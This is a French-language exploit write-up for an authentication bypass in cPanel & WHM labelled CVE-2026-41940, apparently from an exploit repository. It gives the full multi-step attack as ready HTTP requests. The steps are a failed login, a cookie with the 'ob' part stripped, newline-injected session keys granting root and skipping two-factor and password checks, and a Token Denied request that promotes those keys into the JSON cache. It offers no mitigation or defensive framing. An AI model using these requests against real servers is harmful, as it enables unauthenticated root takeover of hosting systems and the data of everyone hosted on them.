
Exploit pour CVE-2026-41940, un contournement d'authentification dans cPanel/WHM, permettant à des attaquants non authentifiés d'obtenir un accès root via l'injection de session et la promotion du cache JSON.
CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans cPanel & WHM affectant toutes les versions actuellement prises en charge. Elle permet à un attaquant non authentifié de contourner l'authentification et d'obtenir un accès de niveau root (WHM) ou un accès de niveau utilisateur (cPanel).
La vulnérabilité provient de deux problèmes principaux dans Cpanel/Session.pm :
saveSession : La fonction saveSession ne nettoyait pas correctement les entrées avant de les écrire dans le fichier de session sur le disque. Plus précisément, elle ne supprimait pas les caractères de nouvelle ligne (\n) du champ pass.pass du fichier de session est normalement chiffré à l'aide d'un secret propre à la session (ob). Cependant, si le cookie de session ne contient pas la partie ob (la partie après la virgule), l'encodage est ignoré et la valeur pass est écrite en clair.L'exploitation est un processus en plusieurs étapes :
Envoyez une tentative de connexion échouée pour déclencher la création d'un fichier de session sur le disque.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
Le serveur répond avec un cookie whostmgrsession, par exemple whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
Envoyez une autre requête en utilisant le cookie de session mais supprimez la partie ob (la virgule et tout ce qui suit). Dans le champ pass, injectez les clés de session souhaitées à l'aide de nouvelles lignes.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
Comme la partie ob est absente, cpsrvd écrit la valeur pass sans encodage. Les nouvelles lignes injectées font que les lignes suivantes sont interprétées comme des paires clé-valeur distinctes dans le fichier de session brut.
cPanel utilise un cache JSON pour les sessions. L'injection brute ne se trouve que dans le fichier texte. Pour la rendre « active », nous devons forcer cPanel à relire le fichier brut et à mettre à jour le cache JSON. Cela peut être fait en déclenchant une erreur « Token Denied » sur un point de terminaison qui utilise Cpanel::Session::Modify.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Le jeton de sécurité manquant dans l'URL déclenche do_token_denied, qui utilise Cpanel::Session::Modify pour mettre à jour le compteur token_denied. Modify lit le fichier brut (en contournant le cache) puis écrit à la fois le fichier brut et le cache JSON, promouvant ainsi efficacement nos clés injectées au niveau supérieur du cache JSON.
La session est désormais pleinement « authentifiée » aux yeux de cPanel. La clé successful_internal_auth_with_timestamp contourne la vérification de /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Le [TOKEN] peut être obtenu à partir du champ cp_security_token de la session, qui est souvent renvoyé dans la réponse « Token Denied » ou peut être trouvé en inspectant le comportement du cookie de session.
tfa_verified=1 : Contourne l'authentification à deux facteurs.hasroot=1 : Accorde les privilèges root dans WHM.successful_internal_auth_with_timestamp=[TIMESTAMP] : Contourne la vérification réelle du mot de passe par rapport au fichier shadow du système.user=root : Définit l'utilisateur de session sur root.